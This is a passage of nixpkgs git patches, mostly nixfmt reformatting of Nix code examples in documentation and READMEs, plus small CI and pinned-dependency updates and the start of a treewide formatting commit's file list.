 The difference in NixOS is both these programs are patched to load plugins from a directory that is the value of an environment variable. All of which is controlled in Nix. If you need to configure the particular packages manually you can override the packages like:
 ```nix
 wingpanel-with-indicators.override {
-  indicators = [
-    pkgs.some-special-indicator
-  ];
+  indicators = [ pkgs.some-special-indicator ];
 }
-
 ```
 ```nix
-switchboard-with-plugs.override {
-  plugs = [
-    pkgs.some-special-plug
-  ];
-}
+switchboard-with-plugs.override { plugs = [ pkgs.some-special-plug ]; }
 ```
 please note that, like how the NixOS options describe these as extra plugins, this would only add to the default plugins included with the programs. If for some reason you'd like to configure which plugins to use exactly, both packages have an argument for this:
 ```nix
diff --git a/nixos/modules/system/boot/clevis.md b/nixos/modules/system/boot/clevis.md
index 39edc0fc38df..c428747b3c23 100644
--- a/nixos/modules/system/boot/clevis.md
+++ b/nixos/modules/system/boot/clevis.md
@@ -40,16 +40,12 @@ For more complete documentation on how to generate a secret with clevis, see the
 In order to activate unattended decryption of a resource at boot, enable the `clevis` module:
 
 ```nix
-{
-  boot.initrd.clevis.enable = true;
-}
+{ boot.initrd.clevis.enable = true; }
 ```
 
 Then, specify the device you want to decrypt using a given clevis secret. Clevis will automatically try to decrypt the device at boot and will fallback to interactive unlocking if the decryption policy is not fulfilled.
 ```nix
-{
-  boot.initrd.clevis.devices."/dev/nvme0n1p1".secretFile = ./nvme0n1p1.jwe;
-}
+{ boot.initrd.clevis.devices."/dev/nvme0n1p1".secretFile = ./nvme0n1p1.jwe; }
 ```
 
 Only `bcachefs`, `zfs` and `luks` encrypted devices are supported at this time.
diff --git a/nixos/modules/system/boot/loader/external/external.md b/nixos/modules/system/boot/loader/external/external.md
index 4f5b559dfc40..1982bdfe5d8b 100644
--- a/nixos/modules/system/boot/loader/external/external.md
+++ b/nixos/modules/system/boot/loader/external/external.md
@@ -12,7 +12,8 @@ FooBoot provides a program at `${pkgs.fooboot}/bin/fooboot-install` which takes
 You can enable FooBoot like this:
 
 ```nix
-{ pkgs, ... }: {
+{ pkgs, ... }:
+{
   boot.loader.external = {
     enable = true;
     installHook = "${pkgs.fooboot}/bin/fooboot-install";
diff --git a/pkgs/README.md b/pkgs/README.md
index 1861729a1706..75041c0bbf0b 100644
--- a/pkgs/README.md
+++ b/pkgs/README.md
@@ -530,9 +530,7 @@ In the following cases, a `.patch` file _should_ be added to Nixpkgs repository,
 The latter avoids link rot when the upstream abandons, squashes or rebases their change, in which case the commit may get garbage-collected.
 
 ```nix
-{
-  patches = [ ./0001-add-missing-include.patch ];
-}
+{ patches = [ ./0001-add-missing-include.patch ]; }
 ```
 
 If you do need to do create this sort of patch file, one way to do so is with git:
@@ -631,13 +629,14 @@ Here in the nixpkgs manual we describe mostly _package tests_; for _module tests
 For very simple tests, they can be written inline:
 
 ```nix
-{ /* ... , */ yq-go }:
+# ... ,
+{ yq-go }:
 
 buildGoModule rec {
   # …
 
   passthru.tests = {
-    simple = runCommand "${pname}-test" {} ''
+    simple = runCommand "${pname}-test" { } ''
       echo "test: 1" | ${yq-go}/bin/yq eval -j > $out
       [ "$(cat $out | tr -d $'\n ')" = '{"test":1}' ]
     '';
@@ -661,16 +660,26 @@ stdenv.mkDerivation (finalAttrs: {
 
 ```nix
 # my-package/example.nix
-{ runCommand, lib, my-package, ... }:
-runCommand "my-package-test" {
-  nativeBuildInputs = [ my-package ];
-  src = lib.sources.sourcesByRegex ./. [ ".*.in" ".*.expected" ];
-} ''
-  my-package --help
-  my-package <example.in >example.actual
-  diff -U3 --color=auto example.expected example.actual
-  mkdir $out
-''
+{
+  runCommand,
+  lib,
+  my-package,
+  ...
+}:
+runCommand "my-package-test"
+  {
+    nativeBuildInputs = [ my-package ];
+    src = lib.sources.sourcesByRegex ./. [
+      ".*.in"
+      ".*.expected"
+    ];
+  }
+  ''
+    my-package --help
+    my-package <example.in >example.actual
+    diff -U3 --color=auto example.expected example.actual
+    mkdir $out
+  ''
 ```
 
 ### Writing larger package tests
@@ -681,7 +690,12 @@ This is an example using the `phoronix-test-suite` package with the current best
 Add the tests in `passthru.tests` to the package definition like this:
 
 ```nix
-{ stdenv, lib, fetchurl, callPackage }:
+{
+  stdenv,
+  lib,
+  fetchurl,
+  callPackage,
+}:
 
 stdenv.mkDerivation {
   # …
@@ -690,7 +704,9 @@ stdenv.mkDerivation {
     simple-execution = callPackage ./tests.nix { };
   };
 
-  meta = { /* … */ };
+  meta = {
+    # …
+  };
 }
 ```
 
@@ -701,22 +717,21 @@ Create `tests.nix` in the package directory:
 
 let
   inherit (phoronix-test-suite) pname version;
-in
 
-runCommand "${pname}-tests" { meta.timeout = 60; }
-  ''
-    # automatic initial setup to prevent interactive questions
-    ${phoronix-test-suite}/bin/phoronix-test-suite enterprise-setup >/dev/null
-    # get version of installed program and compare with package version
-    if [[ `${phoronix-test-suite}/bin/phoronix-test-suite version` != *"${version}"*  ]]; then
-      echo "Error: program version does not match package version"
-      exit 1
-    fi
-    # run dummy command
-    ${phoronix-test-suite}/bin/phoronix-test-suite dummy_module.dummy-command >/dev/null
-    # needed for Nix to register the command as successful
-    touch $out
-  ''
+in
+runCommand "${pname}-tests" { meta.timeout = 60; } ''
+  # automatic initial setup to prevent interactive questions
+  ${phoronix-test-suite}/bin/phoronix-test-suite enterprise-setup >/dev/null
+  # get version of installed program and compare with package version
+  if [[ `${phoronix-test-suite}/bin/phoronix-test-suite version` != *"${version}"*  ]]; then
+    echo "Error: program version does not match package version"
+    exit 1
+  fi
+  # run dummy command
+  ${phoronix-test-suite}/bin/phoronix-test-suite dummy_module.dummy-command >/dev/null
+  # needed for Nix to register the command as successful
+  touch $out
+''
 ```
 
 ### Running package tests
@@ -745,7 +760,11 @@ Like [package tests][larger-package-tests] as shown above, [NixOS module tests](
 For example, assuming we're packaging `nginx`, we can link its module test via `passthru.tests`:
 
 ```nix
-{ stdenv, lib, nixosTests }:
+{
+  stdenv,
+  lib,
+  nixosTests,
+}:
 
 stdenv.mkDerivation {
   # ...
@@ -814,7 +833,11 @@ The `passthru.updateScript` attribute can contain one of the following:
   { stdenv }:
   stdenv.mkDerivation {
     # ...
-    passthru.updateScript = [ ../../update.sh pname "--requested-release=unstable" ];
+    passthru.updateScript = [
+      ../../update.sh
+      pname
+      "--requested-release=unstable"
+    ];
   }
   ```
 
@@ -839,9 +862,14 @@ The `passthru.updateScript` attribute can contain one of the following:
       pname = "my-package";
       # ...
       passthru.updateScript = {
-        command = [ ../../update.sh pname ];
+        command = [
+          ../../update.sh
+          pname
+        ];
         attrPath = pname;
-        supportedFeatures = [ /* ... */ ];
+        supportedFeatures = [
+          # ...
+        ];
       };
     }
     ```
diff --git a/pkgs/applications/emulators/libretro/README.md b/pkgs/applications/emulators/libretro/README.md
index ca494d29e8a9..2de2e61e4852 100644
--- a/pkgs/applications/emulators/libretro/README.md
+++ b/pkgs/applications/emulators/libretro/README.md
@@ -22,16 +22,18 @@ this:
 { pkgs, ... }:
 
 let
-  retroarchWithCores = (pkgs.retroarch.withCores (cores: with cores; [
-    bsnes
-    mgba
-    quicknes
-  ]));
+  retroarchWithCores = (
+    pkgs.retroarch.withCores (
+      cores: with cores; [
+        bsnes
+        mgba
+        quicknes
+      ]
+    )
+  );
 in
 {
-  environment.systemPackages = [
-    retroarchWithCores
-  ];
+  environment.systemPackages = [ retroarchWithCores ];
 }
 ```
 
diff --git a/pkgs/by-name/README.md b/pkgs/by-name/README.md
index 03e6996385d7..e06c843640cf 100644
--- a/pkgs/by-name/README.md
+++ b/pkgs/by-name/README.md
@@ -37,8 +37,7 @@ The `package.nix` may look like this:
 # The return value must be a derivation
 stdenv.mkDerivation {
   # ...
-  buildInputs =
-    lib.optional enableBar libbar;
+  buildInputs = lib.optional enableBar libbar;
 }
 ```
 
@@ -70,9 +69,7 @@ and override its value in [`pkgs/top-level/all-packages.nix`](../top-level/all-p
 
 ```nix
 {
-  libfoo = callPackage ../by-name/so/some-package/package.nix {
-    libbar = libbar_2;
-  };
+  libfoo = callPackage ../by-name/so/some-package/package.nix { libbar = libbar_2; };
 }
 ```
 
@@ -100,22 +97,15 @@ Definitions like the following however, _can_ be transitioned:
 ```nix
 # all-packages.nix
 {
-  fooWithBaz = foo.override {
-    bar = baz;
-  };
+  fooWithBaz = foo.override { bar = baz; };
 }
 ```
 
 ```nix
 # turned into pkgs/by-name/fo/fooWithBaz/package.nix with:
-{
-  foo,
-  baz,
-}:
+{ foo, baz }:
 
-foo.override {
-  bar = baz;
-}
+foo.override { bar = baz; }
 ```
 
 ## Limitations
@@ -189,10 +179,7 @@ because it establishes a clear connection between related attributes.
 This is not required, but the above solution also allows refactoring the definitions into a separate file:
 
 ```nix
-{
-  inherit (import ../tools/foo pkgs)
-    foo_1 foo_2;
-}
+{ inherit (import ../tools/foo pkgs) foo_1 foo_2; }
 ```
 
 ```nix
@@ -207,19 +194,19 @@ Alternatively using [`callPackages`](https://nixos.org/manual/nixpkgs/unstable/#
 if `callPackage` isn't used underneath and you want the same `.override` arguments for all attributes:
 
 ```nix
-{
-  inherit (callPackages ../tools/foo { })
-    foo_1 foo_2;
-}
+{ inherit (callPackages ../tools/foo { }) foo_1 foo_2; }
 ```
 
 ```nix
 # pkgs/tools/foo/default.nix
+{ stdenv }:
 {
-  stdenv
-}: {
-  foo_1 = stdenv.mkDerivation { /* ... */ };
-  foo_2 = stdenv.mkDerivation { /* ... */ };
+  foo_1 = stdenv.mkDerivation {
+    # ...
+  };
+  foo_2 = stdenv.mkDerivation {
+    # ...
+  };
 }
 ```
 
diff --git a/pkgs/by-name/az/azure-cli/README.md b/pkgs/by-name/az/azure-cli/README.md
index 29964f91948b..c2d340db0b76 100644
--- a/pkgs/by-name/az/azure-cli/README.md
+++ b/pkgs/by-name/az/azure-cli/README.md
@@ -63,9 +63,7 @@ Based on this, you can add an attribute to `extensions-manual.nix`:
     url = "https://github.com/Azure/azure-devops-cli-extension/releases/download/20240206.1/azure_devops-${version}-py2.py3-none-any.whl";
     sha256 = "658a2854d8c80f874f9382d421fa45abf6a38d00334737dda006f8dec64cf70a";
     description = "Tools for managing Azure DevOps";
-    propagatedBuildInputs = with python3Packages; [
-      distro
-    ];
+    propagatedBuildInputs = with python3Packages; [ distro ];
     meta.maintainers = with lib.maintainers; [ katexochen ];
   };
 }
diff --git a/pkgs/development/misc/resholve/README.md b/pkgs/development/misc/resholve/README.md
index 3d8ae6d966f3..3ace36500c21 100644
--- a/pkgs/development/misc/resholve/README.md
+++ b/pkgs/development/misc/resholve/README.md
@@ -41,13 +41,14 @@ Here's a simple example of how `resholve.mkDerivation` is already used in nixpkg
 <!-- TODO: figure out how to pull this externally? -->
 
 ```nix
-{ lib
-, fetchFromGitHub
-, resholve
-, bash
-, coreutils
-, goss
-, which
+{
+  lib,
+  fetchFromGitHub,
+  resholve,
+  bash,
+  coreutils,
+  goss,
+  which,
 }:
 
 resholve.mkDerivation rec {
@@ -73,7 +74,10 @@ resholve.mkDerivation rec {
     default = {
       scripts = [ "bin/dgoss" ];
       interpreter = "${bash}/bin/bash";
-      inputs = [ coreutils which ];
+      inputs = [
+        coreutils
+        which
+      ];
       keep = {
         "$CONTAINER_RUNTIME" = true;
       };
@@ -86,7 +90,10 @@ resholve.mkDerivation rec {
     description = "Convenience wrapper around goss that aims to bring the simplicity of goss to docker containers";
     license = licenses.asl20;
     platforms = platforms.linux;
-    maintainers = with maintainers; [ hyzual anthonyroussel ];
+    maintainers = with maintainers; [
+      hyzual
+      anthonyroussel
+    ];
     mainProgram = "dgoss";
   };
 }
@@ -101,20 +108,26 @@ trivial, so I'll also link to some real-world examples:
 
 ```nix
 {
-  resholvedScript = resholve.writeScript "name" {
-    inputs = [ file ];
-    interpreter = "${bash}/bin/bash";
-  } ''
-    echo "Hello"
-    file .
-  '';
-  resholvedScriptBin = resholve.writeScriptBin "name" {
-    inputs = [ file ];
-    interpreter = "${bash}/bin/bash";
-  } ''
-    echo "Hello"
-    file .
-  '';
+  resholvedScript =
+    resholve.writeScript "name"
+      {
+        inputs = [ file ];
+        interpreter = "${bash}/bin/bash";
+      }
+      ''
+        echo "Hello"
+        file .
+      '';
+  resholvedScriptBin =
+    resholve.writeScriptBin "name"
+      {
+        inputs = [ file ];
+        interpreter = "${bash}/bin/bash";
+      }
+      ''
+        echo "Hello"
+        file .
+      '';
 }
 ```
 
@@ -125,7 +138,11 @@ This function has a similar API to `writeScript` and `writeScriptBin`, except it
 trivial for now. If you have a real usage that you find helpful, please PR it.
 
 ```nix
-{ stdenv, resholve, module1 }:
+{
+  stdenv,
+  resholve,
+  module1,
+}:
 
 stdenv.mkDerivation {
   # pname = "testmod3";
@@ -140,7 +157,10 @@ stdenv.mkDerivation {
       interpreter = "${bash}/bin/bash";
       inputs = [ module1 ];
       fake = {
-        external = [ "jq" "openssl" ];
+        external = [
+          "jq"
+          "openssl"
+        ];
       };
     }}
   '';
@@ -220,7 +240,10 @@ from the manpage, and the Nix equivalents:
   fake = {
     # fake accepts the initial of valid identifier types as a CLI convenience.
     # Use full names in the Nix API.
-    function = [ "setUp" "tearDown" ];
+    function = [
+      "setUp"
+      "tearDown"
+    ];
     builtin = [ "setopt" ];
     source = [ "/etc/bashrc" ];
   };
diff --git a/pkgs/development/tcl-modules/by-name/README.md b/pkgs/development/tcl-modules/by-name/README.md
index c65310524c1c..b8a083c19508 100644
--- a/pkgs/development/tcl-modules/by-name/README.md
+++ b/pkgs/development/tcl-modules/by-name/README.md
@@ -5,10 +5,11 @@ The structure of this directory is identical to the one described in
 The only difference is the scope:
 
 ```nix
-{ lib
-# You can get tclPackages attributes directly
-, mkTclDerivation
-, tcllib
+{
+  lib,
+  # You can get tclPackages attributes directly
+  mkTclDerivation,
+  tcllib,
 }:
 
 mkTclDerivation {
diff --git a/pkgs/servers/home-assistant/custom-components/README.md b/pkgs/servers/home-assistant/custom-components/README.md
index c51e6512538e..fc6f90dd95d2 100644
--- a/pkgs/servers/home-assistant/custom-components/README.md
+++ b/pkgs/servers/home-assistant/custom-components/README.md
@@ -19,9 +19,10 @@ versions into the Python environment.
 **Example Boilerplate:**
 
 ```nix
-{ lib
-, buildHomeAssistantComponent
-, fetchFromGitHub
+{
+  lib,
+  buildHomeAssistantComponent,
+  fetchFromGitHub,
 }:
 
 buildHomeAssistantComponent {
@@ -81,13 +82,9 @@ can be ignored on a per requirement basis.
 
 ```nix
 {
-  dependencies = [
-    pyemvue
-  ];
+  dependencies = [ pyemvue ];
 
   # don't check the version constraint of pyemvue
-  ignoreVersionRequirement = [
-    "pyemvue"
-  ];
+  ignoreVersionRequirement = [ "pyemvue" ];
 }
 ```
diff --git a/pkgs/servers/home-assistant/custom-lovelace-modules/README.md b/pkgs/servers/home-assistant/custom-lovelace-modules/README.md
index 72f979d07f95..e9bf6de1a747 100644
--- a/pkgs/servers/home-assistant/custom-lovelace-modules/README.md
+++ b/pkgs/servers/home-assistant/custom-lovelace-modules/README.md
@@ -9,7 +9,5 @@ configured.
 The entrypoint used can be overridden in `passthru` like this:
 
 ```nix
-{
-  passthru.entrypoint = "demo-card-bundle.js";
-}
+{ passthru.entrypoint = "demo-card-bundle.js"; }
 ```

From 922185046663945f01ce85cfb998570dbc92f246 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 22 Jul 2025 16:07:57 +0200
Subject: [PATCH 2848/4511] nixos/doc/wireless: fix comments

Those had been misplaced by nixfmt.

(cherry picked from commit 0f3f710c86878c769e3929692aab58f39cfbc09c)
---
 nixos/doc/manual/configuration/wireless.section.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/nixos/doc/manual/configuration/wireless.section.md b/nixos/doc/manual/configuration/wireless.section.md
index 3331935d5c17..ca581c183087 100644
--- a/nixos/doc/manual/configuration/wireless.section.md
+++ b/nixos/doc/manual/configuration/wireless.section.md
@@ -15,16 +15,16 @@ NixOS lets you specify networks for wpa_supplicant declaratively:
 ```nix
 {
   networking.wireless.networks = {
+    # SSID with no spaces or special characters
     echelon = {
-      # SSID with no spaces or special characters
       psk = "abcdefgh";
     };
+    # SSID with spaces and/or special characters
     "echelon's AP" = {
-      # SSID with spaces and/or special characters
       psk = "ijklmnop";
     };
+    # Hidden SSID
     echelon = {
-      # Hidden SSID
       hidden = true;
       psk = "qrstuvwx";
     };

From 06fe78d83d51ef53d3d43338e04f87218c3fc925 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 24 Jul 2025 12:54:52 +0200
Subject: [PATCH 2849/4511] ci/parse: raise minimum test to Nix 2.24

Nix 2.3 is marked as insecure and thus not cached anymore.

We'll either need to patch it and cache it again or drop it.

(cherry picked from commit ea970ff3bed430c4d447cec8147494b644d1914d)
---
 ci/default.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/ci/default.nix b/ci/default.nix
index a33b023a6beb..1f87117d39fc 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -110,7 +110,8 @@ rec {
   parse = pkgs.lib.recurseIntoAttrs {
     latest = pkgs.callPackage ./parse.nix { nix = pkgs.nixVersions.latest; };
     lix = pkgs.callPackage ./parse.nix { nix = pkgs.lix; };
-    minimum = pkgs.callPackage ./parse.nix { nix = pkgs.nixVersions.minimum; };
+    # TODO: Raise nixVersions.minimum to 2.24 and flip back to it.
+    minimum = pkgs.callPackage ./parse.nix { nix = pkgs.nixVersions.nix_2_24; };
   };
   shell = import ../shell.nix { inherit nixpkgs system; };
   tarball = import ../pkgs/top-level/make-tarball.nix {

From 03907f2e0ad122a73ea8b8234e5b560043742469 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 22 Jul 2025 14:45:51 +0200
Subject: [PATCH 2850/4511] ci/pinned: update

This gives us Nix 2.30 and nixfmt 1.0.0.

From the nixpkgs-unstable channel:
https://hydra.nixos.org/eval/1817034#tabs-inputs

Changes for treefmt-nix:
https://github.com/numtide/treefmt-nix/compare/a05be418a1af1198ca0f63facb13c985db4cb3c5...421b56313c65a0815a52b424777f55acf0b56ddf

(cherry picked from commit 6f5663940c8f7219a96b609cd1a3954e179d6de3)
---
 ci/pinned.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/ci/pinned.json b/ci/pinned.json
index 08a675000b86..7818ad5f6769 100644
--- a/ci/pinned.json
+++ b/ci/pinned.json
@@ -9,9 +9,9 @@
       },
       "branch": "nixpkgs-unstable",
       "submodules": false,
-      "revision": "6afe187897bef7933475e6af374c893f4c84a293",
-      "url": "https://github.com/NixOS/nixpkgs/archive/6afe187897bef7933475e6af374c893f4c84a293.tar.gz",
-      "hash": "1x3yas2aingswrw7hpn43d9anlb08bpyk42dqg6v8f3p3yk83p1b"
+      "revision": "2baf8e1658cba84a032c3a8befb1e7b06629242a",
+      "url": "https://github.com/NixOS/nixpkgs/archive/2baf8e1658cba84a032c3a8befb1e7b06629242a.tar.gz",
+      "hash": "0l48zkf2zs7r53fjq46j770vpb5avxihyfypra3fv429akqnsmm1"
     },
     "treefmt-nix": {
       "type": "Git",
@@ -22,9 +22,9 @@
       },
       "branch": "main",
       "submodules": false,
-      "revision": "a05be418a1af1198ca0f63facb13c985db4cb3c5",
-      "url": "https://github.com/numtide/treefmt-nix/archive/a05be418a1af1198ca0f63facb13c985db4cb3c5.tar.gz",
-      "hash": "1yadm9disc59an4a6c1zidq82530rd7i7idzzsirv6dlwirbqk3q"
+      "revision": "421b56313c65a0815a52b424777f55acf0b56ddf",
+      "url": "https://github.com/numtide/treefmt-nix/archive/421b56313c65a0815a52b424777f55acf0b56ddf.tar.gz",
+      "hash": "1l57hzz704s7izkkcl3xsg77xjfza57cl0fchs24rdpdhmry2dmp"
     }
   },
   "version": 5

From aefcb0d50d1124314429a11ed6b7aaaedf2861c5 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Thu, 24 Jul 2025 14:57:17 +0200
Subject: [PATCH 2851/4511] treewide: run nixfmt 1.0.0

---
 doc/hooks/tauri.section.md                    |   3 +-
 doc/languages-frameworks/coq.section.md       |   8 +-
 doc/languages-frameworks/python.section.md    |  30 +-
 doc/stdenv/cross-compilation.chapter.md       |   3 +-
 lib/customisation.nix                         |  19 +-
 lib/deprecated/misc.nix                       |   7 +-
 lib/modules.nix                               |  60 +-
 lib/options.nix                               |  47 +-
 lib/path/tests/default.nix                    |  15 +-
 lib/systems/architectures.nix                 |   9 +-
 lib/systems/default.nix                       | 893 +++++++++--------
 lib/systems/examples.nix                      |  45 +-
 lib/systems/inspect.nix                       |  20 +-
 .../define-option-dependently-nested.nix      |  15 +-
 .../modules/define-option-dependently.nix     |  15 +-
 lib/tests/test-with-nix.nix                   |   3 +-
 lib/types.nix                                 |   3 +-
 nixos/lib/eval-config-minimal.nix             |   3 +-
 nixos/lib/make-btrfs-fs.nix                   |   3 +-
 nixos/lib/make-ext4-fs.nix                    |   3 +-
 nixos/lib/make-iso9660-image.nix              |   3 +-
 nixos/lib/make-squashfs.nix                   |  57 +-
 nixos/lib/systemd-lib.nix                     |  21 +-
 nixos/lib/test-driver/default.nix             |  23 +-
 nixos/lib/testing/driver.nix                  |   3 +-
 nixos/lib/testing/run.nix                     |   9 +-
 .../scripts/openstack/openstack-image-zfs.nix |   3 +-
 .../scripts/openstack/openstack-image.nix     |   3 +-
 nixos/modules/config/console.nix              |  25 +-
 nixos/modules/config/fonts/fontconfig.nix     |  75 +-
 nixos/modules/config/i18n.nix                 |  30 +-
 nixos/modules/config/locale.nix               |  15 +-
 nixos/modules/config/mysql.nix                |  67 +-
 nixos/modules/config/networking.nix           |  37 +-
 nixos/modules/config/nix-remote-build.nix     |  15 +-
 nixos/modules/config/nix.nix                  | 106 +--
 nixos/modules/config/resolvconf.nix           |  41 +-
 nixos/modules/config/swap.nix                 |   3 +-
 nixos/modules/config/users-groups.nix         | 320 ++++---
 nixos/modules/config/xdg/icons.nix            |  31 +-
 nixos/modules/hardware/all-hardware.nix       | 245 +++--
 nixos/modules/hardware/device-tree.nix        |   3 +-
 nixos/modules/hardware/infiniband.nix         |  47 +-
 nixos/modules/hardware/ksm.nix                |  13 +-
 nixos/modules/hardware/logitech.nix           |  15 +-
 nixos/modules/hardware/nfc-nci.nix            |  13 +-
 nixos/modules/hardware/system-76.nix          |   3 +-
 nixos/modules/hardware/video/bumblebee.nix    |   3 +-
 nixos/modules/hardware/video/nvidia.nix       |  75 +-
 .../hardware/video/webcam/facetimehd.nix      |   3 +-
 nixos/modules/i18n/input-method/default.nix   |  11 +-
 nixos/modules/i18n/input-method/fcitx5.nix    |  17 +-
 nixos/modules/i18n/input-method/kime.nix      |  15 +-
 nixos/modules/image/repart-image.nix          |  87 +-
 nixos/modules/installer/cd-dvd/iso-image.nix  |  13 +-
 nixos/modules/installer/netboot/netboot.nix   |   3 +-
 .../sd-card/sd-image-powerpc64le.nix          |  41 +-
 nixos/modules/installer/sd-card/sd-image.nix  |   3 +-
 nixos/modules/misc/documentation.nix          |   3 +-
 .../modules/profiles/installation-device.nix  |  27 +-
 nixos/modules/programs/cdemu.nix              |  13 +-
 nixos/modules/programs/dconf.nix              |   3 +-
 nixos/modules/programs/firefox.nix            |   3 +-
 nixos/modules/programs/htop.nix               |  15 +-
 nixos/modules/programs/less.nix               |  19 +-
 .../modules/programs/nix-required-mounts.nix  |   3 +-
 nixos/modules/programs/opengamepadui.nix      |   3 +-
 nixos/modules/programs/schroot.nix            |  35 +-
 nixos/modules/programs/ssh.nix                |  32 +-
 nixos/modules/programs/steam.nix              |  17 +-
 nixos/modules/programs/tsm-client.nix         |  85 +-
 nixos/modules/programs/wayland/sway.nix       |  27 +-
 nixos/modules/programs/zsh/zsh.nix            |   3 +-
 nixos/modules/security/acme/default.nix       |  58 +-
 nixos/modules/security/apparmor.nix           |  13 +-
 nixos/modules/security/apparmor/includes.nix  | 725 +++++++-------
 nixos/modules/security/dhparams.nix           | 109 ++-
 nixos/modules/security/duosec.nix             |  10 +-
 .../security/krb5/krb5-conf-format.nix        |  63 +-
 nixos/modules/security/pam.nix                |  94 +-
 nixos/modules/security/pam_mount.nix          |   3 +-
 nixos/modules/security/wrappers/wrapper.nix   |  33 +-
 nixos/modules/services/admin/oxidized.nix     |  83 +-
 nixos/modules/services/admin/pgadmin.nix      |  38 +-
 nixos/modules/services/amqp/rabbitmq.nix      |  18 +-
 nixos/modules/services/audio/gonic.nix        |  19 +-
 nixos/modules/services/audio/hqplayerd.nix    |  23 +-
 nixos/modules/services/audio/jack.nix         |  25 +-
 nixos/modules/services/audio/mpd.nix          |  25 +-
 nixos/modules/services/audio/navidrome.nix    |  23 +-
 nixos/modules/services/audio/pulseaudio.nix   |  19 +-
 nixos/modules/services/backup/borgbackup.nix  |  35 +-
 nixos/modules/services/backup/btrbk.nix       |  13 +-
 nixos/modules/services/backup/duplicity.nix   | 138 ++-
 nixos/modules/services/backup/pgbackrest.nix  |  13 +-
 nixos/modules/services/backup/restic.nix      |  86 +-
 nixos/modules/services/backup/snapraid.nix    |  83 +-
 .../services/cluster/druid/default.nix        |   6 +-
 .../modules/services/cluster/hadoop/hbase.nix | 101 +-
 .../services/cluster/kubernetes/apiserver.nix |   3 +-
 .../computing/foldingathome/client.nix        |  19 +-
 .../services/computing/slurm/slurm.nix        |   3 +-
 .../gitea-actions-runner.nix                  | 106 +--
 .../github-runner/service.nix                 |   3 +-
 .../continuous-integration/gitlab-runner.nix  |  67 +-
 .../continuous-integration/hydra/default.nix  |  23 +-
 .../jenkins/default.nix                       |   3 +-
 nixos/modules/services/databases/couchdb.nix  |  13 +-
 nixos/modules/services/databases/dgraph.nix   |   6 +-
 .../services/databases/dragonflydb.nix        |  23 +-
 nixos/modules/services/databases/etcd.nix     |   6 +-
 .../services/databases/foundationdb.nix       |  18 +-
 .../modules/services/databases/influxdb2.nix  | 108 ++-
 nixos/modules/services/databases/mysql.nix    |  92 +-
 nixos/modules/services/databases/openldap.nix | 111 ++-
 .../databases/postgres-websockets.nix         |   3 +-
 .../modules/services/databases/postgresql.nix |  69 +-
 .../services/databases/victorialogs.nix       |   3 +-
 .../services/databases/victoriametrics.nix    |  15 +-
 .../services/desktop-managers/lomiri.nix      |  25 +-
 .../services/desktop-managers/plasma6.nix     |  55 +-
 nixos/modules/services/desktops/geoclue2.nix  |  19 +-
 .../desktops/gnome/gnome-initial-setup.nix    |   9 +-
 .../services/desktops/pipewire/pipewire.nix   |   3 +-
 .../services/development/jupyter/default.nix  |   3 +-
 nixos/modules/services/development/zammad.nix |  21 +-
 .../services/display-managers/greetd.nix      |  15 +-
 .../services/display-managers/sddm.nix        | 117 ++-
 nixos/modules/services/editors/emacs.md       |   8 +-
 nixos/modules/services/editors/emacs.nix      |  33 +-
 .../services/finance/libeufin/common.nix      |  23 +-
 nixos/modules/services/finance/odoo.nix       |  15 +-
 nixos/modules/services/games/factorio.nix     |   3 +-
 .../services/games/minecraft-server.nix       |  66 +-
 .../services/games/minetest-server.nix        |  41 +-
 nixos/modules/services/hardware/amdvlk.nix    |  17 +-
 .../services/hardware/bitbox-bridge.nix       |  23 +-
 nixos/modules/services/hardware/bluetooth.nix | 133 ++-
 .../services/hardware/handheld-daemon.nix     |   3 +-
 .../services/hardware/interception-tools.nix  |   3 +-
 nixos/modules/services/hardware/kmonad.nix    | 108 +--
 nixos/modules/services/hardware/monado.nix    |   3 +-
 nixos/modules/services/hardware/openrgb.nix   |   9 +-
 nixos/modules/services/hardware/rasdaemon.nix |  21 +-
 nixos/modules/services/hardware/sane.nix      |  13 +-
 .../modules/services/hardware/scanservjs.nix  |   3 +-
 nixos/modules/services/hardware/thinkfan.nix  | 103 +-
 nixos/modules/services/hardware/tlp.nix       |  15 +-
 nixos/modules/services/hardware/udev.nix      |  32 +-
 nixos/modules/services/hardware/udisks2.nix   |   3 +-
 nixos/modules/services/hardware/vdr.nix       |  14 +-
 .../services/home-automation/esphome.nix      |   3 +-
 .../home-automation/home-assistant.nix        |  59 +-
 nixos/modules/services/logging/awstats.nix    |   9 +-
 nixos/modules/services/logging/logrotate.nix  |  95 +-
 nixos/modules/services/logging/promtail.nix   |  67 +-
 nixos/modules/services/mail/dovecot.nix       | 147 ++-
 nixos/modules/services/mail/mailman.nix       | 553 ++++++-----
 nixos/modules/services/mail/offlineimap.nix   |   3 +-
 nixos/modules/services/mail/opendkim.nix      |  33 +-
 .../modules/services/mail/postfix-tlspol.nix  |  15 +-
 nixos/modules/services/mail/postfix.nix       | 267 +++---
 nixos/modules/services/mail/public-inbox.nix  | 126 +--
 nixos/modules/services/mail/sympa.nix         |  87 +-
 .../modules/services/matrix/mautrix-meta.nix  |  11 +-
 .../services/matrix/mautrix-telegram.nix      |  67 +-
 nixos/modules/services/matrix/mjolnir.nix     |   6 +-
 nixos/modules/services/matrix/synapse.nix     | 206 ++--
 nixos/modules/services/misc/atuin.nix         |  23 +-
 nixos/modules/services/misc/bcg.nix           |   3 +-
 nixos/modules/services/misc/blenderfarm.nix   |  29 +-
 nixos/modules/services/misc/devpi-server.nix  |  58 +-
 nixos/modules/services/misc/disnix.nix        |  41 +-
 .../modules/services/misc/docker-registry.nix |   3 +-
 nixos/modules/services/misc/docling-serve.nix |   3 +-
 nixos/modules/services/misc/duckdns.nix       |   3 +-
 nixos/modules/services/misc/dysnomia.nix      |  67 +-
 .../modules/services/misc/etebase-server.nix  |  13 +-
 nixos/modules/services/misc/forgejo.nix       |  81 +-
 nixos/modules/services/misc/gitea.nix         |  62 +-
 nixos/modules/services/misc/gitlab.nix        | 161 ++--
 nixos/modules/services/misc/gitolite.nix      |  42 +-
 nixos/modules/services/misc/gotenberg.nix     |  60 +-
